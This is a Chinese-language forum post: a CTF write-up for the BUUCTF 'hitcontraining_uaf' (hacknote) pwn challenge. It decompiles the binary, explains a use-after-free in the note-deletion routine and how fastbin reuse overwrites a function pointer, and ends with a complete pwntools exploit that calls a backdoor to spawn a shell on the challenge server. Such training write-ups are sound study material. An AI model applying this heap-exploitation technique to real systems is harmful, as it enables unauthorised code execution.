首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
2
[原创][buuctf刷题记录]hitcontraining_uaf
发表于: 2025-11-27 12:22
12996
[原创][buuctf刷题记录]hitcontraining_uaf
G0t1T
1
2025-11-27 12:22
12996
# 1. 看保护 是32位程序,Partial RELRO表明可以劫持got表,没有开canary和pie,开了NX栈不可执行  # 2. 看源码 ## main函数 可以看出是典型的菜单题,打印menu,根据选项调用add_note,del_note,print_note和exit函数 ``` int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax char buf[4]; // [esp+0h] [ebp-Ch] BYREF int *p_argc; // [esp+4h] [ebp-8h] p_argc = &argc; setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 4u); v3 = atoi(buf); if ( v3 != 2 ) break; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } } ``` ## menu函数 跟main函数看到的流程差不多,有add,delete,print三个功能 ``` int menu() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :"); } ``` ## add_note函数 可以看出notelist添加的的上限是6个,之后首先malloc一个0x8大小的chunk(记为chunk_note)存入notelist数组,接着` **((_DWORD **)¬elist + i) = print_note_content;`这里是将chunk_note数据部分的前0x4个字节存放puts函数的地址,chunk_note的后0x4个字节用来存放用户想要申请的chunk,这个chunk的大小是用户自定义的。 ``` int add_note() { int result; // eax int v1; // esi char buf[8]; // [esp+0h] [ebp-18h] BYREF size_t size; // [esp+8h] [ebp-10h] int i; // [esp+Ch] [ebp-Ch] result = count; if ( count > 5 ) return puts("Full"); for ( i = 0; i <= 4; ++i ) { result = *((_DWORD *)¬elist + i); if ( !result ) { *((_DWORD *)¬elist + i) = malloc(8u); if ( !*((_DWORD *)¬elist + i) ) { puts("Alloca Error"); exit(-1); } **((_DWORD **)¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v1 = *((_DWORD *)¬elist + i); *(_DWORD *)(v1 + 4) = malloc(size); if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size); puts("Success !"); return ++count; } } return result; } ``` notelist运行一次add_note的情况如下图  ## delete_note函数 可以看到该函数在free两个chunk时,没有将对应值置为null,这会导致uaf即use after free ``` int del_note() { int result; // eax char buf[4]; // [esp+8h] [ebp-10h] BYREF int v2; // [esp+Ch] [ebp-Ch] printf("Index :"); read(0, buf, 4u); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts("Out of bound!"); _exit(0); } result = *((_DWORD *)¬elist + v2); if ( result ) { free(*(void **)(*((_DWORD *)¬elist + v2) + 4)); free(*((void **)¬elist + v2)); return puts("Success"); } return result; } ``` ## print_note函数 从前面可以知道每调用一次add_note函数,就会产生两个chunk,记为chunk0,chunk1,chunk1的size可以自定义,print_note函数就是用chunk0的前0x4个字节puts函数来打印chunk1的数据部分。 ``` int print_note() { int result; // eax char buf[4]; // [esp+8h] [ebp-10h] BYREF int v2; // [esp+Ch] [ebp-Ch] printf("Index :"); read(0, buf, 4u); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts("Out of bound!"); _exit(0); } result = *((_DWORD *)¬elist + v2); if ( result ) return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2)); return result; } ``` ## magic函数 程序还给了一个后门函数,只要我们能够成功调用这个函数就行了。 ``` int magic() { return system("/bin/sh"); } ``` # 3. 利用思路 利用uaf将chunk1的前0x4个字节存放的puts函数的地址修改为magic函数的地址,使得在执行print_note功能时,却是调用magic函数。 ``` add(0x8,b'aaa') add(0x8,b'aaa') add(0x18,b'aaa') ``` 我们可以先调用三个add_note,设置chunk1的size分别为0x8,0x8,0x16 ``` delete(1) delete(2) ``` 之后free第1和第2个note,我用notelisst[下标].chunk0|1来表示每个chunk,此时fastbin中数据部分只有0x8大小的链表是fastbin -> notelist[2].chunk0 -> nostlist[1].chunk0 -> notelist[1].chunk1 数据部分0x16大小的fastbin -> notelist[2].chunk1 ``` payload = p32(magic) add(0x8,payload) print(1) ``` 再接着调用add_note就可以使得分配得到的notelist[3].chunk1和notelist[1].chunk0是一致的,因此我们也就能修改notelist[1].chunk0,也就将puts_addr改成magic的地址,接着执行print_note函数,最终执行magic函数,拿到shell。 最后大概是这样子,图有点丑。。。  # 4. exp ``` from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./hacknote') #gdb.attach(io,"b *0x08048A75") elf = ELF("./hacknote") io=remote("node5.buuoj.cn",25034) def add(size,payload): io.recvuntil(b"Your choice :") io.send(b'1') io.recvuntil(b"Note size :") io.send(str(size).encode()) io.recvuntil(b"Content :") io.send(payload) def delete(index): io.recvuntil(b"Your choice :") io.send(b'2') io.recvuntil(b"Index :") io.send(str(index).encode()) def print(index): io.recvuntil(b"Your choice :") io.send(b'3') io.recvuntil(b"Index :") io.send(str(index).encode()) magic = elf.symbols["magic"] add(0x8,b'aaa') add(0x8,b'aaa') add(0x18,b'aaa') delete(1) delete(2) payload = p32(magic) add(0x8,payload) print(1) io.interactive() ``` 
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2025-11-27 12:58 被G0t1T编辑 ,原因:
#题解集锦
收藏
・
0
点赞
・
2
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
非常支持你的观点!
2026-7-16 07:37
winmt
感谢你的积极参与,期待更多精彩内容!
2025-11-27 18:00
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
G0t1T
1
8
发帖
3
回帖
110
RANK
关注
私信
他的文章
[原创]HGAME 2026复现(1)
13817
[原创]hitcontraining_heapcreator
16841
[原创][BUUCTF刷题记录]hitcontraining_magicheap
16099
[原创]堆学习:Unlink attack
16071
初识IO_FILE Exploitation
16114
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部